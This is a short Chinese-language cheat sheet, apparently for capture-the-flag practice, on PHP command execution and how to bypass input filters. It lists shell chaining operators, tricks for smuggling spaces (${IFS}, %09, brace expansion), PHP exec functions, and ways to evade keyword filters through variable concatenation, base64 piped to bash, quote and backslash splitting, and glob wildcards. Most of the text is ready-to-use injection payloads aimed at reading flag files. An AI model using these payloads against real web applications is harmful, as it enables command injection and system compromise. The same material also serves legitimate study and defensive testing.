PHP 命令执行 总结 以及 绕过
1、管道符 绕过
Windows下
|
直接执行后面的语句
||
如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&
前面和后面命令都要执行,无论前面真假
&&
如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
Linux 下
;
前面和后面命令都要执行,无论前面真假
|
直接执行后面的语句
||
如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&
前面和后面命令都要执行,无论前面真假
&&
如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
2、空格绕过
> < <> 重定向符
%09`(需要php环境)
${IFS} $IFS$9 $IFS$9 表空格
{cat,flag.php} //用逗号实现了空格功能
%20 空格
%09 制表符
%0a 换行符
%0d 回车
3、命令执行函数
system() 执行有回显,将执行结果输出到页面上
passthru()执行有回显,将执行结果输出到页面上
exec() exec()函数执行无回显,默认返回最后一行结果
shell_exec() shell_exec()函数默认无回显,通过 echo 可将执行结果输出到页面
popen(string $command , string $mode)
函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读和写,函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行
proc_open() Popen函数类似,但是可以提供双向管道
4、正则绕过
拼接
a=c;b=at;c=fl;d=ag;$a$b $c$d
base64编码
echo "Y2F0IGZsYWc="|base64 -d
echo "Y2F0IGZsYWc="|base64 -d|bash
(在bash被过滤的情况下可尝试sh)
单引号、双引号
c""at fl''ag
反斜线
c\at fl\ag
正则 (假设/bin/cat: test: 是一个目录)
/???/?[a][t] ?''?''?''?''` /???/?at ????` /???/?[a]''[t] ?''?''?''?''
内置变量 Linux有大量的内置变量 传送门
是传给脚本的参数个数 $0 是脚本本身的名字 $1 是传递给该shell脚本的第一个参数 $2 是传递给该shell脚本的第二个参数 $@ 是传给脚本的所有参数的列表 $* 是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9个 $$ 是脚本运行的当前进程ID号 $? 是显示最后命令的退出状态,0表示没有错误,其他表示有错误
在linux中可以用~获取变量的最后几位 {PATH:开始位:截取字符}
操作如图